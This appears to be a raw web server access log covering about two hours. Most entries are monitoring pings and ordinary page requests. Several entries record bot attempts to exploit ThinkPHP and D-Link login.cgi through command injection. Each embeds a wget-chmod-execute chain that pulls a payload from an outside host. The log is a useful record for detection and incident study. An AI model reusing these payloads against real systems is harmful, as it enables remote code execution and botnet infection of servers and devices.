212.91.246.72 - - [14/Feb/2020:18:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.238.155.41 - - [14/Feb/2020:18:49:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:18:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.120.44.244 - - [14/Feb/2020:18:55:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:18:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.142.236.34 - - [14/Feb/2020:18:57:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
185.142.236.34 - - [14/Feb/2020:18:57:04 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
185.142.236.34 - - [14/Feb/2020:18:57:05 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
185.142.236.34 - - [14/Feb/2020:18:57:07 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
185.142.236.34 - - [14/Feb/2020:18:57:10 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.19.1"
212.91.246.72 - - [14/Feb/2020:18:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:18:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.74.152.119 - - [14/Feb/2020:19:05:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [14/Feb/2020:19:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.7.165.8 - - [14/Feb/2020:19:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:19:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.97.100.10 - - [14/Feb/2020:19:08:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:19:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.35.244.60 - - [14/Feb/2020:19:30:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:19:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [14/Feb/2020:19:33:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.115.251.163 - - [14/Feb/2020:19:34:08 +0100] "GET / HTTP/1.1" 200 1229 "https://xn--80aaxnbbbh6h3a.xn--p1ai/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
37.115.251.163 - - [14/Feb/2020:19:34:08 +0100] "GET / HTTP/1.1" 200 1229 "https://xn--80aaxnbbbh6h3a.xn--p1ai/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
37.115.251.163 - - [14/Feb/2020:19:34:09 +0100] "GET / HTTP/1.1" 200 1229 "https://xn--80aaxnbbbh6h3a.xn--p1ai/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)"
212.91.246.72 - - [14/Feb/2020:19:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [14/Feb/2020:19:36:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [14/Feb/2020:19:36:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [14/Feb/2020:19:36:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [14/Feb/2020:19:36:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:19:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [14/Feb/2020:19:36:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [14/Feb/2020:19:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
150.109.23.216 - - [14/Feb/2020:19:44:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
150.109.23.216 - - [14/Feb/2020:19:44:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
150.109.23.216 - - [14/Feb/2020:19:44:25 +0100] "\x16\x03\x01" 501 318 "-" "-"
150.109.23.216 - - [14/Feb/2020:19:44:25 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [14/Feb/2020:19:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.235.113.141 - - [14/Feb/2020:19:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:19:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.72.206.126 - - [14/Feb/2020:19:50:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [14/Feb/2020:19:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.210.191.163 - - [14/Feb/2020:19:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [14/Feb/2020:19:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:19:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.204.218.79 - - [14/Feb/2020:19:59:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:19:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.196.232.115 - - [14/Feb/2020:20:02:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:20:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.163.172.26 - - [14/Feb/2020:20:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:20:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.40.118.18 - - [14/Feb/2020:20:13:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:20:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.8.27.151 - - [14/Feb/2020:20:13:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [14/Feb/2020:20:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.25.142.62 - - [14/Feb/2020:20:18:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [14/Feb/2020:20:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.24.102.133 - - [14/Feb/2020:20:21:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [14/Feb/2020:20:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [14/Feb/2020:20:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
